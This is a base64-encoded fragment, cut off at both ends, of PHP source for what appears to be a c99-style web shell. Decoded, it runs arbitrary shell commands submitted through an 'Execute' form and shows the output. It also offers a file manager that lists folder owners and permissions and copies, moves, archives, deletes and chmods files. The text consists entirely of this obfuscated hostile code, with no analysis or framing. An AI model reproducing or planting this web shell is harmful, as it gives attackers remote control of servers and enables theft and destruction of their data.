cHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9CiAgJGFjdCA9ICJscyI7CiB9CiBlbHNlaWYgKCRhY3RhcmNidWZmKQogewogICRhcmNlcnIgPSAiIjsKICBpZiAoc3Vic3RyKCRhY3RhcmNidWZmX3BhdGgsLTcsNykgPT0gIi50YXIuZ3oiKSB7JGV4dCA9ICIudGFyLmd6Ijt9CiAgZWxzZSB7JGV4dCA9ICIudGFyLmd6Ijt9CiAgaWYgKCRleHQgPT0gIi50YXIuZ3oiKSB7JGNtZGxpbmUgPSAidGFyIGNmenYiO30KICAkY21kbGluZSAuPSAiICIuJGFjdGFyY2J1ZmZfcGF0aDsKICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSk7CiAgZm9yZWFjaCgkb2JqZWN0cyBhcyAkdikKICB7CiAgICR2ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR2KTsKICAgaWYgKHN1YnN0cigkdiwwLHN0cmxlbigkZCkpID09ICRkKSB7JHYgPSBiYXNlbmFtZSgkdik7fQogICBpZiAoaXNfZGlyKCR2KSkKICAgewogICAgaWYgKHN1YnN0cigkdiwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR2IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogICAgJHYgLj0gIioiOwogICB9CiAgICRjbWRsaW5lIC49ICIgIi4kdjsKICB9CiAgJHRtcCA9IHJlYWxwYXRoKCIuIik7CiAgY2hkaXIoJGQpOwogICRyZXQgPSBteXNoZWxsZXhlYygkY21kbGluZSk7CiAgY2hkaXIoJHRtcCk7CiAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9CiAgJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRyZXQpOwogICRyZXQgPSBleHBsb2RlKCJcbiIsJHJldCk7CiAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikKICB7CiAgIGlmIChpbl9hcnJheSgkdiwkcmV0KSkge2ZzX3Jtb2JqKCR2KTt9CiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7CiAgfQogIGsxcjRfc2Vzc19wdXQoJHNlc3NfZGF0YSk7CiAgaWYgKCFlbXB0eSgkYXJjZXJyKSkge2VjaG8gIjxiPkFyY2hpdmF0aW9uIGVycm9yczo8L2I+PGJyPiIuJGFyY2Vycjt9CiAgJGFjdCA9ICJscyI7CiB9CiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpCiB7CiAgJHBzdGVyciA9ICIiOwogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikKICB7CiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsKICAgaWYgKCFmc19jb3B5X29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30KICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQogIH0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikKICB7CiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsKICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsKICB9CiAgazFyNF9zZXNzX3B1dCgkc2Vzc19kYXRhKTsKICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9CiAgJGFjdCA9ICJscyI7CiB9Cn0KaWYgKCRhY3QgPT0gImNtZCIpCnsKaWYgKHRyaW0oJGNtZCkgPT0gInBzIC1hdXgiKSB7JGFjdCA9ICJwcm9jZXNzZXMiO30KZWxzZWlmICh0cmltKCRjbWQpID09ICJ0YXNrbGlzdCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQplbHNlCnsKIEBjaGRpcigkY2hkaXIpOwogaWYgKCFlbXB0eSgkc3VibWl0KSkKIHsKICBlY2hvICI8Yj5SZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgY29tbWFuZDwvYj46PGJyPiI7CiAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7CiAgQGNoZGlyKCRkKTsKICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7CiAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOwogIGlmICgkY21kX3R4dCkKICB7CiAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7CiAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9CiAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsKICB9CiAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9CiAgQGNoZGlyKCRvbGRkaXIpOwogfQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIGNvbW1hbmQ8L2I+IjsgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0gVFJVRTt9fQogZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNtZD48dGV4dGFyZWEgbmFtZT1jbWQgY29scz0xMjIgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkY21kX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsKfQp9CmlmICgkYWN0ID09ICJscyIpCnsKIGlmIChjb3VudCgkbHNfYXJyKSA+IDApIHskbGlzdCA9ICRsc19hcnI7fQogZWxzZQogewogICRsaXN0ID0gYXJyYXkoKTsKICBpZiAoJGggPSBAb3BlbmRpcigkZCkpCiAgewogICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgeyRsaXN0W10gPSAkZC4kbzt9CiAgIGNsb3NlZGlyKCRoKTsKICB9CiAgZWxzZSB7fQogfQogaWYgKGNvdW50KCRsaXN0KSA9PSAwKSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBvcGVuIGZvbGRlciAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2I+PC9jZW50ZXI+Ijt9CiBlbHNlCiB7CiAgLy9CdWlsZGluZyBhcnJheQogICRvYmplY3RzID0gYXJyYXkoKTsKICAkdmQgPSAiZiI7IC8vVmlld2luZyBtb2RlCiAgaWYgKCR2ZCA9PSAiZiIpCiAgewogICAkb2JqZWN0c1siaGVhZCJdID0gYXJyYXkoKTsKICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5KCk7CiAgICRvYmplY3RzWyJsaW5rcyJdID0gYXJyYXkoKTsKICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheSgpOwogICBmb3JlYWNoICgkbGlzdCBhcyAkdikKICAgewogICAgJG8gPSBiYXNlbmFtZSgkdik7CiAgICAkcm93ID0gYXJyYXkoKTsKICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkxJTksiO30KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fQogICAgZWxzZWlmIChpc19kaXIoJHYpKQogICAgewogICAgIGlmIChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30KICAgICBlbHNlIHskdHlwZSA9ICJESVIiO30KICAgICAkcm93W10gPSAkdjsKICAgICAkcm93W10gPSAkdHlwZTsKICAgIH0KICAgIGVsc2VpZihpc19maWxlKCR2KSkgeyRyb3dbXSA9ICR2OyAkcm93W10gPSBmaWxlc2l6ZSgkdik7fQogICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsKICAgIGlmICghJHdpbikKICAgIHsKICAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHYpKTsKICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHYpKTsKICAgICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCR2KSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJHYpKTsKICAgIH0KICAgICRyb3dbXSA9IGZpbGVwZXJtcygkdik7CiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JG9iamVjdHNbImhlYWQiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JG9iamVjdHNbImZvbGRlcnMiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JG9iamVjdHNbImZpbGVzIl1bXSA9ICRyb3c7fQogICAgJGkrKzsKICAgfQogICAkcm93ID0gYXJyYXkoKTsKICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsKICAgJHJvd1tdID0gIjxiPlNpemU8L2I+IjsKICAgJHJvd1tdID0gIjxiPk1vZGlmeTwvYj4iOwogICBpZiAoISR3aW4pCiAgeyRyb3dbXSA9ICI8Yj5Pd25lci9Hcm91cDwvYj4iO30KICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7CiAgICRyb3dbXSA9ICI8Yj5BY3Rpb248L2I+IjsKICAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkc29ydCk7CiAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOwogICAkayA9ICRwYXJzZXNvcnRbMF07CiAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyRwYXJzZXNvcnRbMV0gPSAiZCI7fQogICAkeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRrLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iZCI6ImEiKS4iXCI+IjsKICAgJHkgLj0gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF8iLigkc29ydFsxXSA9PSAiYSI/ImFzYyI6ImRlc2MiKS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIiLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iQXNjLiI6IkRlc2MiKS4iXCIgYm9yZGVyPVwiMFwiPjwvYT4iOwogICAkcm93WyRrXSAuPSAkeTsKICAgZm9yKCRpPTA7JGk8Y291bnQoJHJvdyktMTskaSsrKQogICB7CiAgICBpZiAoJGkgIT0gJGspIHskcm93WyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPiIuJHJvd1skaV0uIjwvYT4iO30KICAgfQogICAkdiA9ICRwYXJzZXNvcnRbMF07CiAgIHVzb3J0KCRvYmplY3RzWyJmb2xkZXJzIl0sICJ0YWJzb3J0Iik7CiAgIHVzb3J0KCRvYmplY3RzWyJsaW5rcyJdLCAidGFic29ydCIpOwogICB1c29ydCgkb2JqZWN0c1siZmlsZXMiXSwgInRhYnNvcnQiKTsKICAgaWYgKCRwYXJzZXNvcnRbMV0gPT0gImQiKQogICB7CiAgICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZm9sZGVycyJdKTsKICAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZmlsZXMiXSk7CiAgIH0KICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJmb2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOwogICAkdGFiID0gYXJyYXkoKTsKICAgJHRhYlsiY29scyJdID0gYXJyYXkoJHJvdyk7CiAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7CiAgICR0YWJbImZvbGRlcnMiXSA9IGFycmF5KCk7CiAgICR0YWJbImxpbmtzIl0gPSBhcnJheSgpOwogICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsKICAgJGkgPSAwOwogICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkYSkKICAgewogICAgJHYgPSAkYVswXTsKICAgICRvID0gYmFzZW5hbWUoJHYpOwogICAgJGRpciA9IGRpcm5hbWUoJHYpOwogICAgaWYgKCRkaXNwX2Z1bGxwYXRoKSB7JGRpc3BwYXRoID0gJHY7fQogICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQogICAgJGRpc3BwYXRoID0gc3RyMm1pbmkoJGRpc3BwYXRoLDYwKTsKICAgIGlmIChpbl9hcnJheSgkdiwkc2Vzc19kYXRhWyJjdXQiXSkpIHskZGlzcHBhdGggPSAiPHN0cmlrZT4iLiRkaXNwcGF0aC4iPC9zdHJpa2U+Ijt9CiAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30KICAgIGZvcmVhY2ggKCRyZWd4cF9oaWdobGlnaHQgYXMgJHIpCiAgICB7CiAgICAgaWYgKGVyZWcoJHJbMF0sJG8pKQogICAgIHsKICAgICAgaWYgKCghaXNfbnVtZXJpYygkclsxXSkpIG9yICgkclsxXSA+IDMpKSB7JHJbMV0gPSAwOyBvYl9jbGVhbigpOyBlY2hvICJXYXJuaW5nISBDb25maWd1cmF0aW9uIGVycm9yIGluIFwkcmVneHBfaGlnaGxpZ2h0WyIuJGsuIl1bMF0gLSB1bmtub3duIGNvbW1hbmQuIjsgazFyNGV4aXQoKTt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7CiAgICAgICAkaXNkaXIgPSBpc19kaXIoJHYpOwogICAgICAgaWYgKCgkclsxXSA9PSAwKSBvciAoKCRyWzFdID09IDEpIGFuZCAhJGlzZGlyKSBvciAoKCRyWzFdID09IDIpIGFuZCAhJGlzZGlyKSkKICAgICAgIHsKICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQogICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsKICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9CiAgICAgICB9CiAgICAgIH0KICAgICB9CiAgICB9CiAgICAkdW8gPSB1cmxlbmNvZGUoJG8pOwogICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOwogICAgJHV2ID0gdXJsZW5jb2RlKCR2KTsKICAgICRyb3cgPSBhcnJheSgpOwogICAgaWYgKCRvID09ICIuIikKICAgIHsKICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuJG8uIjwvYT4iOwogICAgICRyb3dbXSA9ICJMSU5LIjsKICAgIH0KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikKICAgIHsKICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfbG5rXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj4iLiRvLiI8L2E+IjsKICAgICAkcm93W10gPSAiTElOSyI7CiAgICB9CiAgICBlbHNlaWYgKGlzX2RpcigkdikpCiAgICB7CiAgICAgaWYgKGlzX2xpbmsoJHYpKQogICAgIHsKICAgICAgJGRpc3BwYXRoIC49ICIgPT4gIi5yZWFkbGluaygkdik7CiAgICAgICR0eXBlID0gIkxJTksiOwogICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2xua1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPlsiLiRkaXNwcGF0aC4iXTwvYT4iOwogICAgIH0KICAgICBlbHNlCiAgICAgewogICAgICAkdHlwZSA9ICJESVIiOwogICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c21hbGxfZGlyXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7CiAgICAgIH0KICAgICAkcm93W10gPSAkdHlwZTsKICAgIH0KICAgIGVsc2VpZihpc19maWxlKCR2KSkKICAgIHsKICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsJG8pOwogICAgICRjID0gY291bnQoJGV4dCktMTsKICAgICAkZXh0ID0gJGV4dFskY107CiAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7CiAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF8iLiRleHQuIlwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmQ9Ii4kdWQuIiZcIj4iLiRkaXNwcGF0aC4iPC9hPiI7CiAgICAgJHJvd1tdID0gdmlld19zaXplKCRhWzFdKTsKICAgIH0KICAgICRyb3dbXSA9IGRhdGUoImQubS5ZIEg6aTpzIiwkYVsyXSk7CiAgICBpZiAoISR3aW4pIHskcm93W10gPSAkYVszXTt9CiAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1jaG1vZCZmPSIuJHVvLiImZD0iLiR1ZC4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCR2KS4iPC9iPjwvYT4iOwogICAgaWYgKCRvID09ICIuIikgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgb25jbGljaz1cImxzX3JldmVyc2VfYWxsKCk7XCI+IjsgJGktLTt9CiAgICBlbHNlIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIGlkPVwiYWN0Ym94Ii4kaS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIj4iO30KICAgIGlmIChpc19kaXIoJHYpKSB7JHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZCZkPSIuJHV2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9CiAgICBlbHNlIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTZcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZWRpdCZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkNoYW5nZVwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1kb3dubG9hZCZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYWx0PVwiRG93bmxvYWRcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30KICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskdGFiWyJoZWFkIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyR0YWJbImxpbmtzIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JHRhYlsiZm9sZGVycyJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskdGFiWyJmaWxlcyJdW10gPSAkcm93O30KICAgICRpKys7CiAgIH0KICB9CiAgLy8gQ29tcGlsaW5nIHRhYmxlCiAgJHRhYmxlID0gYXJyYXlfbWVyZ2UoJHRhYlsiY29scyJdLCR0YWJbImhlYWQiXSwkdGFiWyJmb2xkZXJzIl0sJHRhYlsibGlua3MiXSwkdGFiWyJmaWxlcyJdKTsKICBlY2hvICI8Y2VudGVyPjxiPkxpc3RpbmcgZm9sZGVyICgiLmNvdW50KCR0YWJbImZpbGVzIl0pLiIgZmlsZXMgYW5kICIuKGNvdW50KCR0YWJbImZvbGRlcnMiXSkrY291bnQoJHRhYlsibGlua3MiXSkpLiIgZm9sZGVycyk6PC9iPjwvY2VudGVyPjxicj48VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPTEwMCUgYmdDb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9IzQzMzMzMyBib3JkZXI9MD48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVCBuYW1lPVwibHNfZm9ybVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iLiRkc3BhY3QuIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSIuJGQuIj4iOwogIGZvcmVhY2goJHRhYmxlIGFzICRyb3cpCiAgewogICBlY2hvICI8dHI+XHJcbiI7CiAgIGZvcmVhY2goJHJvdyBhcyAkdikge2VjaG8gIjx0ZD4iLiR2LiI8L3RkPlxyXG4iO30KICAgZWNobyAiPC90cj5cclxuIjsKICB9CiAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj4KICA8c2NyaXB0PgogIGZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykKICB7CiAgIHZhciBpZCA9IDE7CiAgIHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7CiAgIHdoaWxlIChpZCA8PSBudW0pCiAgIHsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gc3RhdHVzOwogICAgaWQrKzsKICAgfQogIH0KICBmdW5jdGlvbiBsc19yZXZlcnNlX2FsbCgpCiAgewogICB2YXIgaWQgPSAxOwogICB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOwogICB3aGlsZSAoaWQgPD0gbnVtKQogICB7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9ICFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZDsKICAgIGlkKys7CiAgIH0KICB9CiAgPC9zY3JpcHQ+CiAgPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwodHJ1ZSk7XCIgdmFsdWU9XCJTZWxlY3QgYWxsXCI+Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoZmFsc2UpO1wiIHZhbHVlPVwiVW5zZWxlY3QgYWxsXCI+IAogIDxiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPiI7CiAgaWYgKGNvdW50KGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSkpID4gMCBhbmQgKCR1c2Vmc2J1ZmYpKQogIHsKICAgZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YWN0YXJjYnVmZiB2YWx1ZT1cIlBhY2sgYnVmZmVyIHRvIGFyY2hpdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiYWN0YXJjYnVmZl9wYXRoXCIgdmFsdWU9XCJhcmNoaXZlXyIuc3Vic3RyKG1kNShyYW5kKDEsMTAwMCkucmFuZCgxLDEwMDApKSwwLDUpLiIudGFyLmd6XCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RwYXN0ZWJ1ZmZcIiB2YWx1ZT1cIlBhc3RlXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RlbXB0eWJ1ZmZcIiB2YWx1ZT1cIkVtcHR5IGJ1ZmZlclwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgfQogIGVjaG8gIjxzZWxlY3QgbmFtZT1hY3Q+PG9wdGlvbiB2YWx1ZT1cIiIuJGFjdC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogIGVjaG8gIjxvcHRpb24gdmFsdWU9ZGVsZXRlIi4oJGRzcGFjdCA9PSAiZGVsZXRlIj8iIHNlbGVjdGVkIjoiIikuIj5EZWxldGU8L29wdGlvbj4iOwogIGVjaG8gIjxvcHRpb24gdmFsdWU9Y2htb2QiLigkZHNwYWN0ID09ICJjaG1vZCI/IiBzZWxlY3RlZCI6IiIpLiI+Q2hhbmdlLW1vZGU8L29wdGlvbj4iOwogIGlmICgkdXNlZnNidWZmKQogIHsKICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jdXQiLigkZHNwYWN0ID09ICJjdXQiPyIgc2VsZWN0ZWQiOiIiKS4iPkN1dDwvb3B0aW9uPiI7CiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y29weSIuKCRkc3BhY3QgPT0gImNvcHkiPyIgc2VsZWN0ZWQiOiIiKS4iPk